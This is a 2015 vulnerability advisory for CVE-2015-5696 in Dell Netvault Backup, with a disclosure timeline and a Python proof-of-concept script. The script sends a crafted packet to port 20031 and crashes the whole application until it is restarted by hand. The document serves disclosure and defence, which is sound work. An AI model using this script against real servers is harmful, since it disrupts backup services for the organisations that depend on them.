Dell Netvault Backup Remote Denial of Service

Product: Dell Netvault Backup
Link: http://software.dell.com/products/netvault-backup/
Vendor: Dell
Vulnerable Version(s): 10.0.1.24 and probably prior
Tested Version: Version 10.0.1.24
Advisory Publication: July 30, 2015
Vendor Notification: January 9, 2015
Public Disclosure: July 30, 2015
Vulnerability Type: Remote Denial of service
CVE Reference: CVE-2015-5696
Risk Level: Medium
Discovered and Provided: Josep Pi Rodriguez https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24

------------------------------------------------------------
------------
-----------------------

Advisory Details:

Doing reverse engineering of the protocol was found several ways to cause a crash in the nvpmgr.exe process.The entire application (all processes) will die and it won't be able to restart again by itself unless someone do it manually.

Proof of concept script:

#!/usr/bin/python
import socket as so
from struct import *

server = "192.168.140.130"
port = 20031
d = "\x18\x00\x00\x00"
d += "\x01"

#d += "\xCB\x22\x77\xC9" # Another crash example
d += "\x18\xE8\xBE\xC8" # Will cause the crash
d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6
d += "\x00" # null byte

##
# send it

s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
s.send(d)
s.close()

------------------------------------------------------------------------
-----------------------

Solution:

Disclosure timeline:
2015-01-09 Vendor notified via email
2015-05-26 Vendor notifies that the issue is fixed in version 10.0.5.x
2015-07-30 Public disclosure.

The fix done by Dell was not checked by the researcher.

------------------------------------------------------------------------
-----------------------